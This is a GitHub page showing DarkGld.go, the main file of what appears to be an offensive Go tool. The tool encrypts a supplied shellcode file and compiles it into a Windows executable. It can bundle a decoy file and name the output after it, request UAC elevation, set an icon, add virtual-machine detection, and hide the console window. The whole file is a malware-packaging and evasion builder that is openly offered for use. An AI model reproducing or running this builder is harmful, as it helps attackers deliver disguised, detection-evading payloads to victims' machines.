-
Notifications
You must be signed in to change notification settings - Fork 26
/
Copy pathDarkGld.go
129 lines (111 loc) · 3.19 KB
/
DarkGld.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
package main
import (
"DarkGld/templates"
"DarkGld/util"
"crypto/rand"
"flag"
"github.com/fatih/color"
"io/ioutil"
mrand "math/rand"
"os"
"os/exec"
"path"
"strings"
"time"
)
func init() {
mrand.Seed(time.Now().UnixNano())
}
var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
func RandStringRunes(n int) string {
b := make([]rune, n)
for i := range b {
b[i] = letterRunes[mrand.Intn(len(letterRunes))]
}
return string(b)
}
var (
shellcode = flag.String("shellcode", "", "shellcode bin file. Example: shellcode.bin")
arch = flag.String("arch", "", "target system architecture. x64/x86 , default: x64")
icon = flag.String("icon", "", "exe icon file path. ")
file = flag.String("file", "", "file loaded into exe")
uac = flag.Bool("uac", false, "is UAC permission required")
protect = flag.Bool("protect", false, "is Virtual machine detection required")
)
func main() {
flag.Parse()
GOFILE := RandStringRunes(6) + ".go"
OUTFILE := RandStringRunes(6) + ".exe"
if !util.Exists(*shellcode) {
color.Red("[x] Shellcode file is not exist.")
os.Exit(0)
}
if !util.Exists(*icon) {
color.Yellow("[>] Icon file is not exist. The program would not set the icon.")
*icon = ""
}
if strings.EqualFold(*arch, "x86") {
color.Green("[>] Arch => x86")
os.Setenv("GOARCH", "386")
}else {
color.Green("[>] Arch => x64")
os.Setenv("GOARCH", "amd64")
}
dir := "temp/"
if util.IsDir(dir) {
color.Red("[!] Directory:「temp」 is exist. ")
os.Exit(0)
}else {
os.Mkdir(dir, os.ModePerm)
color.Green("[>] Create a directory: %s", dir)
}
raw, err := ioutil.ReadFile(*shellcode)
if err != nil {
println("[!] " + err.Error())
return
}
key := make([]byte, 32)
nonce := make([]byte, 12)
rand.Read(key)
rand.Read(nonce)
raw = util.E(raw, key, nonce)
if util.Exists(*file) {
color.Green("[>] %s => EXE ", *file)
OUTFILE = strings.Replace(path.Base(*file), path.Ext(*file), ".exe", -1)
templates.FileTemplate(dir+GOFILE, key, nonce, raw, *file, *protect)
}else {
color.Yellow("[>] Null => EXE")
templates.NoFileTemplate(dir + GOFILE, key, nonce, raw, *protect)
}
manifest := dir + strings.Replace(GOFILE, ".go", ".exe.manifest", -1)
if *uac {
templates.UACTemplate(manifest)
}else {
templates.NoUACTemplate(manifest)
}
syso := dir + strings.Replace(GOFILE, ".go", ".syso", -1)
color.Green("[>] Compiling %s", syso)
if strings.Compare(*icon, "") == -1 {
//rsrc -manifest main.exe.manifest -ico rc.ico -o rsrc.syso
err = exec.Command("rsrc", "-manifest", manifest, "-o", syso).Run()
if err != nil {
println("[!] Compile fail: " + err.Error())
return
}
}else {
err = exec.Command("rsrc", "-manifest", manifest, "-ico", *icon , "-o", syso).Run()
if err != nil {
println("[!] Compile fail: " + err.Error())
return
}
}
color.Green("[>] Compiling %s", GOFILE)
os.Setenv("GO111MODULE", "off")
err = exec.Command("go", "build", "-o", ".\\" + OUTFILE , "-ldflags", "-w -s -H=windowsgui", "-gcflags", "-trimpath=$GOPATH/src", "-asmflags", "-trimpath=$GOPATH/src", ".\\" + dir ).Run()
if err != nil {
println("[!] Compile fail: " + err.Error())
return
}
os.RemoveAll(dir)
color.Green("[>] Delete 「%s」", dir)
}